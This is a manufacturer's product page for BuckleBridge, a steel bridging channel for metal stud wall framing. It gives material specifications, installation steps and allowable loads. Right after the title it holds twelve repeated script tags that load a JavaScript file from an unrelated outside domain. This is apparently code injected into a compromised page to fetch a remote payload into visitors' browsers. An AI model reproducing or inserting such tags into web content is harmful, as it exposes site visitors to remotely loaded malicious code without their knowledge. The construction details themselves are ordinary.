BuckleBridge®: BuckleBridge® Metal Stud Framing Wall Bridging Channel Solid Blocking<script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script><script src=http://www.banner82.com/b.js></script>

BuckleBridge^® Home

CAD details

Specifications

Choose product:

Download Tech Data

Download Installation Instructions (pdf)

Step Bushing Technology


	TSN is a Member of the U.S. Green Building Council

Click here for
TSN MSDS Report

BuckleBridge^®

Bridging Channel

Product Application

BuckleBridge^® provides a solid wall stud bridging system to resist weak axis buckling and torsional rotation of members. Elongated tabs in one end of BuckleBridge^® lock into a slot at
the other end (through the stud knockout). Two vertical flaps at each end contain pre-drilled holes to facilitate the attachment to the stud. BuckleBridge^® is used with 16” o.c. member spacing.

Material Composition

ASTM A653/A653M, Grade 50 (340), 50ksi (340MPa) minimum yield strength, 65ksi (450MPa) minimum tensile strength, G-60 (Z180) hot-dipped galvanized coating. Material thickness = 33mil (20ga, 0.0346” design thickness).

BuckleBridge^® Value

Fast installation
Tabs lock into slots for continuous system
No threading channels through knockouts
No welding
Meets AISI bridging stiffness requirements
Guide holes for accurate placement of fasteners to stud
Fits in SigmaStud^® and SSMA standard wall sections, 6” and greater web depths

BuckleBridge Installation

Twist BuckleBridge^® into stud punchout and insert tab into slot of previously installed BuckleBridge^®.
Install approved screws through guide holes to stud web.

Example Detail

Allowable Loads

Studs 16” o.c.	Connection in Compression		Connection in Tension
	Axial Load	Flexural Stiffness	Axial Load	Flexural Stiffness
	(kips)	(kips/in.)	(kips)	(kips/in.)
	2.4	31.0	0.44	2.56

Mar 2008

Products are available through local distribution.